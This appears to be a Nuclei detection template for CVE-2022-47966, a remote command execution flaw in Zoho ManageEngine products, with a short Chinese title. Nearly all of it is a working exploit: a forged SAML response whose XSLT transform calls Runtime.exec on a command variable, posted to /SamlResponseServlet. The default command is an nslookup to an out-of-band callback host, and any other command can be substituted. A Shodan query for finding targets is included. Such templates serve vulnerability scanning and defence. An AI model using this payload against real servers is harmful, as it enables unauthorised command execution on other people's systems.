ManageEngine 多个产品远程命令执行漏洞（CVE-2022-47966）

id: CVE-2022-47966 info: name: ManageEngine - Remote Command Execution author: rootxharsh,iamnoooob,DhiyaneshDK severity: critical description: | Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections. reference: - https://twitter.com/horizon3attack/status/1616062915097886732?s=46&t=ER_is9G4FlEebVFQPpnM0Q - https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/ - https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html - https://nvd.nist.gov/vuln/detail/CVE-2022-47966 classification: cve-id: CVE-2022-47966 metadata: verified: "true" shodan-query: title:"ManageEngine" tags: cve,cve2022,rce,zoho,manageengine,oast variables: cmd: 'nslookup {{interactsh-url}}' SAMLResponse: '<?xml version="1.0" encoding="UTF-8"?> <samlp:Response ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf" InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff" IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600" IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion"> <Issuer>a</Issuer> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/> <ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600"> <ds:Transforms> <ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116"> <xsl:stylesheet version="1.0" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <xsl:variable name="rtobject" select="rt:getRuntime()"/> <xsl:variable name="process" select="rt:exec($rtobject,&quot;{{cmd}}&quot;)"/> <xsl:variable name="processString" select="ob:toString($process)"/> <xsl:value-of select="$processString"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> <ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/> <ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue> </ds:Reference> </ds:SignedInfo> <ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue> <ds:KeyInfo/> </ds:Signature> </Assertion> </samlp:Response>' requests: - raw: - | POST /SamlResponseServlet HTTP/2 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded SAMLResponse={{url_encode(base64(SAMLResponse))}}&RelayState= matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "dns" - type: word part: body words: - "Unknown error occurred while processing your request" - type: status status: - 500